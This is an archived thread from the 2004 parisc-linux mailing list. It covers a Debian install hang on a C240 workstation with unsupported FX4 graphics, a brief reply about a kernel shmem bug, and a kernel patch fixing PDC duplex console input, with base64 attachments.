I downloaded the "debian-30r2-hppa-binary-1.iso" and burned it to CD. 
If I start the installation on my C240 (fx4) workstation  with the command:
bo sescsi.2.0

it seems everything ok, until I get the message:
...If this is the last message you see, you may need to switch your console.
  This is a common sympton sarch the FAQ and mailing list at
parisc-linux.org

After this nothing happens anymore.
I searched the FAQ and mailing list but I could not find a solution.
Anyone who can help?

Thanks in advance.


Best Regards
Reinhold Flecke


Reinhold Flecke CCF
Auf dem Anger 18
33165 Lichtenau-Husen
Fon:	+49 (0)5292 930601 (Office)
	+49 (0)700 93000093 (PR)
eMail:	<mailto:Reinhold.Flecke@ccf-consulting.de>


------=_NextPart_000_0011_01C3E405.CAB42980
Content-Type: application/ms-tnef;
	name="winmail.dat"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="winmail.dat"

eJ8+IhYLAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy
b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEGgAMADgAAANQHAQAaAAwADQAAAAEAEAEB
A5AGAIwHAAAiAAAACwACAAEAAAALACMAAAAAAAMAJgAAAAAACwApAAAAAAADADYAAAAAAB4AcAAB
AAAAMwAAAGhlbHAgaW5zdGFsbGF0aW9uIGZhaWxlZCBvbiBDMjQwIChmeDQpIHdvcmtzdGF0aW9u
AAACAXEAAQAAABYAAAABw+P9ZRQvCAESlcZLxIv1NOoYqKw+AAACAR0MAQAAACcAAABTTVRQOlJF
SU5IT0xELkZMRUNLRUBDQ0YtQ09OU1VMVElORy5ERQAACwABDgAAAABAAAYOAMagW/3jwwECAQoO
AQAAABgAAAAAAAAA06i5QgswsUyrFIDLXyLtusKAAAALAB8OAQAAAAIBCRABAAAAVQMAAFEDAAC8
BAAATFpGdfDT2MADAAoAcmNwZzEyNRYyAPgLYG4OEDAzMY8B9wKkA2MCAHBycQ5QCGZjaArAc2V0
MP4gB20CgwBQA9QQzwcTAoM3ERETRRQefQqACMggO9UJbzAXz2UOMDUCgAqBknYIkHdrC4BkNAxg
TmMAUAsDC7UgSRLxIKAgZG93bgkAYQEAgGQgdGhlICIBAAJiBzBuLTMwcjKoLWhwCrAtHcBuCsAQ
eS0xLgQAbyIgqwBwHTBiCHBuHSFpBUDAdG8gQ0QuCuMKgORJZhwwIHMBkAAgHUNLC4AhkWwLYHRp
AiAgSSLRbXkgkDI0EbAoQGZ4NCkgdwWwa28hkSKzJAAgQGgdQwWgbXkDgWQ6IOQG4CGAB5Bj8QCQ
LjIuAUAg8yDkIEFJEYBlbQQgZXYEkHkLHVALgGci8GssIHV3AjADESFwZxGQHUMHgXP2YSngJeUu
K0AhQSjBBCCfK8EdUgtgIZAqViB5CGD/KAIpQC0yAMAjQCAAHSImYX8k4RFALSIFwAWgAIAG8GXW
LiDkHIBUK7VhJWMi0X5zBsAFMDFiCsAvAR1SRvxBUR+DAMADECjiM2AsgU0ioCAKsQQAYy0zYXWk
eC4FsGdcM2FlIOTOQQGABJArlG5vKMQRUPcecAnwMOFuBsAFsC/mIXH+ZTIiHSUyvzPCH9AFQCFw
mQWgdWwdMDaRIGYa4f8w8S+xOsAiwS/wNUIUkDeg0wIgHXB3aCCAYwORHWD4bHA/NTQ8wzCAAHAk
QNMiIR+AZHYAcGMv5hUijyc5CvQ2kAPwZGN0PiBvCsAI0BMCHHBCB5AFQFL8ZWcLEROAIPNDUAuA
PZDlO0FGL9BjazV1JyU7MOdDz0TSIJBDRkKBDlA7MKc2kDVhA9AxNjWFdSFQnQEAbT0BKeAFwDE4
IORCMw9gNjUgTA3gaMM2AB7QdS1IdRGAC5A9IPNGAiAl4AySDwU2IEgrNDkjoDApDkA5SDIgOR4Q
NjAccCjmTwEgDeBlKSclDLEBoPlNFjcwEbBN4VBxTeAjoJRQUk7AYicVZU0zQbNMNDswIDwzMiBw
OkQm0i5EtEBjQpAtL4I7MOsisA8gLgEAPkKBAUAPBn9H1xVCDAFBKUKUIOQW4QABWLAAAAALAAGA
CCAGAAAAAADAAAAAAAAARgAAAAADhQAAAAAAAAMAA4AIIAYAAAAAAMAAAAAAAABGAAAAABCFAAAA
AAAAAwAHgAggBgAAAAAAwAAAAAAAAEYAAAAAUoUAAH1uAQAeAAmACCAGAAAAAADAAAAAAAAARgAA
AABUhQAAAQAAAAQAAAA5LjAACwANgAggBgAAAAAAwAAAAAAAAEYAAAAAgoUAAAEAAAALADqACCAG
AAAAAADAAAAAAAAARgAAAAAOhQAAAAAAAAMAPIAIIAYAAAAAAMAAAAAAAABGAAAAABGFAAAAAAAA
AwA9gAggBgAAAAAAwAAAAAAAAEYAAAAAGIUAAAAAAAALAFKACCAGAAAAAADAAAAAAAAARgAAAAAG
hQAAAAAAAAMAU4AIIAYAAAAAAMAAAAAAAABGAAAAAAGFAAAAAAAAAgH4DwEAAAAQAAAA06i5Qgsw
sUyrFIDLXyLtugIB+g8BAAAAEAAAANOouUILMLFMqxSAy18i7boCAfsPAQAAAKIAAAAAAAAAOKG7
EAXlEBqhuwgAKypWwgAAUFNUUFJYLkRMTAAAAAAAAAAATklUQfm/uAEAqgA32W4AAABDOlxEb2t1
bWVudGUgdW5kIEVpbnN0ZWxsdW5nZW5cZmxlY2tlXExva2FsZSBFaW5zdGVsbHVuZ2VuXEFud2Vu
ZHVuZ3NkYXRlblxNaWNyb3NvZnRcT3V0bG9va1xvdXRsb29rLnBzdAAAAAMA/g8FAAAAAwANNP03
AAACAX8AAQAAAEEAAAA8TEJFTUtMQkVGREdET0dHQU9HSUtPRUpQQ0NBQS5yZWluaG9sZC5mbGVj
a2VAY2NmLWNvbnN1bHRpbmcuZGU+AAAAAAMABhCFhi7CAwAHEEACAAADABAQAAAAAAMAERABAAAA
HgAIEAEAAABlAAAASURPV05MT0FERURUSEUiREVCSUFOLTMwUjItSFBQQS1CSU5BUlktMUlTTyJB
TkRCVVJORURJVFRPQ0RJRklTVEFSVFRIRUlOU1RBTExBVElPTk9OTVlDMjQwKEZYNClXT1JLUwAA
AAAr5A==

------=_NextPart_000_0011_01C3E405.CAB42980--



From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel BUG at mm/shmem.c:585!
Date: Mon, 26 Jan 2004 08:53:56 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <20040126155356.GA12175@colo.lackof.org>
References: <20040126021508.GZ1060@baldric.uwo.ca>
	<200401260235.i0Q2Z783024373@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623149 4844 80.91.229.3 (22 Nov 2014 02:25:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:49 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@lackof.org  Mon Jan 26 08:53:57 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB807484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 08:53:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D63EE29804F; Mon, 26 Jan 2004 08:53:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12013-10; Mon, 26 Jan 2004 08:53:56 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 669DF29804E; Mon, 26 Jan 2004 08:53:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200401260235.i0Q2Z783024373@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 15:53:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20698

On Sun, Jan 25, 2004 at 09:35:07PM -0500, John David Anglin wrote:
> Is this on a SMP kernel (i.e., could this be a locking issue)?

no. I don't build or run SMP kernels on anything at the moment.

thanks,
grant


From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help installation failed on C240 (fx4) workstation
Date: Mon, 26 Jan 2004 09:13:16 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20040126161316.GC12175@colo.lackof.org>
References: <LBEMKLBEFDGDOGGAOGIKOEJPCCAA.reinhold.flecke@ccf-consulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623150 4846 80.91.229.3 (22 Nov 2014 02:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Reinhold Flecke CCF <reinhold.flecke@ccf-consulting.de>
Original-X-From: grundler@lackof.org  Mon Jan 26 09:13:18 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D8F7484B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 09:13:18 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6BFBF29804F; Mon, 26 Jan 2004 09:13:17 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 12285-08; Mon, 26 Jan 2004 09:13:16 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D330D29804E; Mon, 26 Jan 2004 09:13:16 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <LBEMKLBEFDGDOGGAOGIKOEJPCCAA.reinhold.flecke@ccf-consulting.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 16:13:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20699

On Mon, Jan 26, 2004 at 12:13:22PM +0100, Reinhold Flecke CCF wrote:
> I downloaded the "debian-30r2-hppa-binary-1.iso" and burned it to CD. 
> If I start the installation on my C240 (fx4) workstation  with the command:
> bo sescsi.2.0

FX-4 graphics is not supported.
Either use serial console or replace the FX4 with PCI FX-E.

sorry,
grant


From - Thu Nov 08 21:30:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A fix for B2k and CONFIG_PDC_CONSOLE pb
Date: Mon, 26 Jan 2004 18:00:53 +0100
Lines: 498
Approved: news@gmane.org
Message-ID: <400CB8A100004C60@ocpmta3.freegates.net>
References: <20040124210320.GA16272@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="========/400CB8A100004C60/mail.tiscali.be"
X-Trace: ger.gmane.org 1416623150 4847 80.91.229.3 (22 Nov 2014 02:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Christoph Plattner" <christoph.plattner@gmx.at>
Original-X-From: soete.joel@tiscali.be  Mon Jan 26 10:01:02 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 759AE48E1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jan 2004 10:01:01 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AlA6b-0008S4-00; Mon, 26 Jan 2004 18:00:57 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 26 Jan 2004 18:00:53 +0100
In-Reply-To: <20040124210320.GA16272@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 26 Jan 2004 17:01:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20700


--========/400CB8A100004C60/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi Grant, Christoph,

I find a fix for this pb. I tested successfully (I reach to login with a
ttyB0 after replacing ttyS0 in inittab and telinit q :) ) on a 32bit 2.4
kernel on my b2k and a 64bit (up) [also 2.4] kernel on my N4k.

Here is its main part:
diff -NaurX dontdiff linux-2.4.24-pa0.orig/arch/parisc/kernel/firmware.c
linux-2.4.24-pa0/arch/parisc/kernel/firmware.c
--- linux-2.4.24-pa0.orig/arch/parisc/kernel/firmware.c	2003-10-02 07:30:55.000000000
+0200
+++ linux-2.4.24-pa0/arch/parisc/kernel/firmware.c	2004-01-26 16:48:23.000000000
+0100
@@ -871,15 +937,21 @@
 	int status;
 
 	/* Bail if no console input device. */
-	if (!PAGE0->mem_kbd.iodc_io)
+	if ((PAGE0->mem_cons.cl_class != CL_DUPLEX) && !PAGE0->mem_kbd.iodc_io)
 		return 0;
 	
 	/* wait for a keyboard (rs232)-input */
 	spin_lock_irqsave(&pdc_lock, flags);
-	real32_call(PAGE0->mem_kbd.iodc_io,
-		    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
-		    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers), 
-		    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
+	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
+		real32_call(PAGE0->mem_cons.iodc_io,
+			    (unsigned long)PAGE0->mem_cons.hpa, ENTRY_IO_CIN,
+			    PAGE0->mem_cons.spa, __pa(PAGE0->mem_cons.dp.layers), 
+			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
+	else
+		real32_call(PAGE0->mem_kbd.iodc_io,
+			    (unsigned long)PAGE0->mem_kbd.hpa, ENTRY_IO_CIN,
+			    PAGE0->mem_kbd.spa, __pa(PAGE0->mem_kbd.dp.layers), 
+			    __pa(iodc_retbuf), 0, __pa(iodc_dbuf), 1, 0);
 
 	ch = *iodc_dbuf;
 	status = *iodc_retbuf;
diff -NaurX dontdiff linux-2.4.24-pa0.orig/arch/parisc/kernel/pdc_cons.c
linux-2.4.24-pa0/arch/parisc/kernel/pdc_cons.c
--- linux-2.4.24-pa0.orig/arch/parisc/kernel/pdc_cons.c	2004-01-19 07:25:46.000000000
+0100
+++ linux-2.4.24-pa0/arch/parisc/kernel/pdc_cons.c	2004-01-26 16:53:32.000000000
+0100
@@ -113,10 +112,6 @@
 		return;
 	++pdc_console_initialized;
 	
-	/* If the console is duplex then copy the COUT parameters to CIN. */
-	if (PAGE0->mem_cons.cl_class == CL_DUPLEX)
-		memcpy(&PAGE0->mem_kbd, &PAGE0->mem_cons, sizeof(PAGE0->mem_cons));
-
 	/* register the pdc console */
 	register_console(&pdc_cons);
 }
==========><==========

Can somebody else could also test it on some other platform to be sure I
don't broken other stuff?

Thanks in advance,
    Joel

PS: Grant I join the text file of the final backport of 2.6 work included
this patch. Thanks in advance for your attention

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr



--========/400CB8A100004C60/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pdc_console-bp+patch.diff"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tl
cm5lbC9lbnRyeS5TIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL2VudHJ5LlMK
LS0tIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvZW50cnkuUwkyMDAz
LTEyLTA1IDA3OjQyOjMyLjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi40LjI0LXBhMC9hcmNo
L3BhcmlzYy9rZXJuZWwvZW50cnkuUwkyMDA0LTAxLTIyIDEzOjIyOjA0LjAwMDAwMDAwMCArMDEw
MApAQCAtMjIyNyw5ICsyMjI3LDEyIEBACiAKIAlTVFJFRyAgICAgJXIyOCxUQVNLX1BUX0dSMjgt
VEFTS19TWl9BTEdOLUZSQU1FX1NJWkUoJXIzMCkKIAorI2lmZGVmIENPTkZJR19IUFVYCisKIAkv
KiBTYXZlIG90aGVyIGhwdXggcmV0dXJucyBpZiBwZXJzb25hbGl0eSBpcyBQRVJfSFBVWCAqLwog
Ci0jZGVmaW5lIFBFUl9IUFVYIDB4ZSAvKiA8bGludXgvcGVyc29uYWxpdHkuaD4gY2Fubm90IGJl
IGVhc2lseSBpbmNsdWRlZCAqLworLyogPGxpbnV4L3BlcnNvbmFsaXR5Lmg+IGNhbm5vdCBiZSBl
YXNpbHkgaW5jbHVkZWQgKi8KKyNkZWZpbmUgUEVSX0hQVVggMHhlCiAKIAlMRFJFRyAgICAgVEFT
S19QRVJTT05BTElUWS1UQVNLX1NaX0FMR04tRlJBTUVfU0laRSglcjMwKSwlcjE5CiAJQ01QSUI8
PixuIFBFUl9IUFVYLCVyMTksMWYKQEAgLTIyMzcsNiArMjI0MCw4IEBACiAJU1RSRUcgICAgICVy
MjksVEFTS19QVF9HUjI5LVRBU0tfU1pfQUxHTi1GUkFNRV9TSVpFKCVyMzApCiAxOgogCisjZW5k
aWYgLyogQ09ORklHX0hQVVggKi8KKwogCS8qIFNlZW1zIHRvIG1lIHRoYXQgZHAgY291bGQgYmUg
d3JvbmcgaGVyZSwgaWYgdGhlIHN5c2NhbGwgaW52b2x2ZWQKIAkgKiBjYWxsaW5nIGEgbW9kdWxl
LCBhbmQgbm90aGluZyBnb3Qgcm91bmQgdG8gcmVzdG9yaW5nIGRwIG9uIHJldHVybi4KIAkgKi8K
ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjI0LXBhMC5vcmlnL2FyY2gvcGFyaXNjL2tl
cm5lbC9maXJtd2FyZS5jIGxpbnV4LTIuNC4yNC1wYTAvYXJjaC9wYXJpc2Mva2VybmVsL2Zpcm13
YXJlLmMKLS0tIGxpbnV4LTIuNC4yNC1wYTAub3JpZy9hcmNoL3BhcmlzYy9rZXJuZWwvZmlybXdh
cmUuYwkyMDAzLTEwLTAyIDA3OjMwOjU1LjAwMDAwMDAwMCArMDIwMAorKysgbGludXgtMi40LjI0
LXBhMC9hcmNoL3BhcmlzYy9rZXJuZWwvZmlybXdhcmUuYwkyMDA0LTAxLTI2IDE2OjQ4OjIzLjAw
MDAwMDAwMCArMDEwMApAQCAtMSwxMCArMSwyMiBAQAotLyogYXJjaC9wYXJpc2Mva2VybmVsL2Zp
cm13YXJlLmMgIC0gc2FmZSBwZGMgYWNjZXNzIHJvdXRpbmVzCisvKgorICogYXJjaC9wYXJpc2Mv
a2VybmVsL2Zpcm13YXJlLmMgIC0gc2FmZSBQREMgYWNjZXNzIHJvdXRpbmVzCisgKgorICoJUERD
ID09IFByb2Nlc3NvciBEZXBlbmRlbnQgQ29kZQorICoKKyAqIFNlZSBodHRwOi8vd3d3LnBhcmlz
Yy1saW51eC5vcmcvZG9jdW1lbnRhdGlvbi9pbmRleC5odG1sCisgKiBmb3IgZG9jdW1lbnRhdGlv
biBkZXNjcmliaW5nIHRoZSBlbnRyeSBwb2ludHMgYW5kIGNhbGxpbmcKKyAqIGNvbnZlbnRpb25z
IGRlZmluZWQgYmVsb3cuCiAgKgogICogQ29weXJpZ2h0IDE5OTkgU3VTRSBHbWJIIE51ZXJuYmVy
ZyAoUGhpbGlwcCBSdW1wZiwgcHJ1bXBmQHR1eC5vcmcpCi0gKiBwb3J0aW9ucyBDb3B5cmlnaHQg
MTk5OSBUaGUgUHVmZmluIEdyb3VwLCAoQWxleCBkZVZyaWVzLCBEYXZpZCBLZW5uZWR5KQorICog
Q29weXJpZ2h0IDE5OTkgVGhlIFB1ZmZpbiBHcm91cCwgKEFsZXggZGVWcmllcywgRGF2aWQgS2Vu
bmVkeSkKKyAqIENvcHlyaWdodCAyMDAzIEdyYW50IEdydW5kbGVyIDxncnVuZGxlciBwYXJpc2Mt
bGludXggb3JnPgogICoKLSAqIG9ubHkgdGhlc2Ugcm91dGluZXMgc2hvdWxkIGJlIHVzZWQgb3V0
IG9mIHRoZSByZWFsIGtlcm5lbCAoaS5lLiBldmVyeXRoaW5nCi0gKiB1c2luZyB2aXJ0dWFsIGFk
ZHJlc3NlcykgZm9yIG9idmlvdXMgcmVhc29ucyAqLworICogICAgVGhpcyBwcm9ncmFtIGlzIGZy
ZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9vciBtb2RpZnkKKyAqICAg
IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgYXMg
cHVibGlzaGVkIGJ5CisgKiAgICB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIg
dmVyc2lvbiAyIG9mIHRoZSBMaWNlbnNlLCBvcgorICogICAgKGF0IHlvdXIgb3B0aW9uKSBhbnkg
bGF0ZXIgdmVyc2lvbi4KKyAqCisgKi8KIAogLyoJSSB0aGluayBpdCB3b3VsZCBiZSBpbiBldmVy
eW9uZSdzIGJlc3QgaW50ZXJlc3QgdG8gZm9sbG93IHRoaXMKICAqCWd1aWRlbGluZXMgd2hlbiB3
cml0aW5nIFBEQyB3cmFwcGVyczoKQEAgLTQxLDE5ICs1MywxOSBAQAogICoJCQkJCXBydW1wZgk5
OTEwMTYJCiAgKi8KIAorI2luY2x1ZGUgPHN0ZGFyZy5oPgorCisjaW5jbHVkZSA8bGludXgvZGVs
YXkuaD4KKyNpbmNsdWRlIDxsaW51eC9pbml0Lmg+CiAjaW5jbHVkZSA8bGludXgva2VybmVsLmg+
CiAjaW5jbHVkZSA8bGludXgvc3RyaW5nLmg+CiAjaW5jbHVkZSA8bGludXgvc3BpbmxvY2suaD4K
LSNpbmNsdWRlIDxsaW51eC9pbml0Lmg+Ci0jaW5jbHVkZSA8bGludXgvZGVsYXkuaD4KIAogI2lu
Y2x1ZGUgPGFzbS9wYWdlLmg+CiAjaW5jbHVkZSA8YXNtL3BkYy5oPgogI2luY2x1ZGUgPGFzbS9z
eXN0ZW0uaD4KICNpbmNsdWRlIDxhc20vcHJvY2Vzc29yLmg+CS8qIGZvciBib290X2NwdV9kYXRh
ICovCiAKLSNpbmNsdWRlIDxzdGRhcmcuaD4KLQogc3RhdGljIHNwaW5sb2NrX3QgcGRjX2xvY2sg
PSBTUElOX0xPQ0tfVU5MT0NLRUQ7CiBzdGF0aWMgdW5zaWduZWQgbG9uZyBwZGNfcmVzdWx0WzMy
XSBfX2F0dHJpYnV0ZV9fICgoYWxpZ25lZCAoOCkpKTsKIHN0YXRpYyB1bnNpZ25lZCBsb25nIHBk
Y19yZXN1bHQyWzMyXSBfX2F0dHJpYnV0ZV9fICgoYWxpZ25lZCAoOCkpKTsKQEAgLTcwLDkgKzgy
LDkgQEAKICAqLwogCiAjaWZkZWYgX19MUDY0X18KLXN0YXRpYyBsb25nIHJlYWw2NF9j
YWxsKHVuc2lnbmVkIGxvbmcgZnVuY3Rpb24sIC4uLik7Citsb25nIHJlYWw2NF9jYWxsKHVuc2ln
bmVkIGxvbmcgZnVuY3Rpb24sIC4uLik7CiAjZW5kaWYKLXN0YXRpYyBsb25nIHJlYWwzMl9jYWxs
KHVuc2lnbmVkIGxvbmcgZnVuY3Rpb24sIC4uLik7Citsb25nIHJlYWwzMl9jYWxsKHVuc2lnbmVk
IGxvbmcgZnVuY3Rpb24sIC4uLik7CiAKICNpZiBkZWZpbmVkKF9fTFA2NF9fKSAmJiAhIGRlZmlu
ZWQoQ09ORklHX1BEQ19OQVJST1cpCiAjZGVmaW5lIE1FTV9QREMgKHVuc2lnbmVkIGxvbmcpKFBB
R0UwLT5tZW1fcGRjX2hpKSA8PCAzMiB8IFBBR0UwLT5tZW1fcGRjCkBAIC0xNDMsMTMgKzE1NSwx
MyBAQAogICovCiBpbnQgcGRjX2FkZF92YWxpZCh1bnNpZ25lZCBsb25nIGFkZHJlc3MpCiB7Ci0g
ICAgICAgIGludCByZXR2YWw7CisJaW50IHJldHZhbDsKIAotICAgICAgICBzcGluX2xvY2tfaXJx
KCZwZGNfbG9jayk7Ci0gICAgICAgIHJldHZhbCA9IG1lbV9wZGNfY2FsbChQRENfQUREX1ZBTElE
LCBQRENfQUREX1ZBTElEX1ZFUklGWSwgYWRkcmVzcyk7Ci0gICAgICAgIHNwaW5fdW5sb2NrX2ly
cSgmcGRjX2xvY2spOworCXNwaW5fbG9ja19pcnEoJnBkY19sb2NrKTsKKwlyZXR2YWwgPSBtZW1f
cGRjX2NhbGwoUERDX0FERF9WQUxJRCwgUERDX0FERF9WQUxJRF9WRVJJRlksIGFkZHJlc3MpOwor
CXNwaW5fdW5sb2NrX2lycSgmcGRjX2xvY2spOwogCi0gICAgICAgIHJldHVybiByZXR2YWw7CisJ
cmV0dXJuIHJldHZhbDsKIH0KIAogLyoqCkBAIC0xNjIsMTggKzE3NCwxOCBAQAogICovCiBpbnQg
X19pbml0IHBkY19jaGFzc2lzX2luZm8oc3RydWN0IHBkY19jaGFzc2lzX2luZm8gKmNoYXNzaXNf
aW5mbywgdm9pZCAqbGVkX2luZm8sIHVuc2lnbmVkIGxvbmcgbGVuKQogewotICAgICAgICBpbnQg
cmV0dmFsOworCWludCByZXR2YWw7CiAKLSAgICAgICAgc3Bpbl9sb2NrX2lycSgmcGRjX2xvY2sp
OwotICAgICAgICBtZW1jcHkoJnBkY19yZXN1bHQsIGNoYXNzaXNfaW5mbywgc2l6ZW9mKCpjaGFz
c2lzX2luZm8pKTsKLSAgICAgICAgbWVtY3B5KCZwZGNfcmVzdWx0MiwgbGVkX2luZm8sIGxlbik7
Ci0gICAgICAgIHJldHZhbCA9IG1lbV9wZGNfY2FsbChQRENfQ0hBU1NJUywgUERDX1JFVFVSTl9D
SEFTU0lTX0lORk8sCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX3BhKHBkY19yZXN1
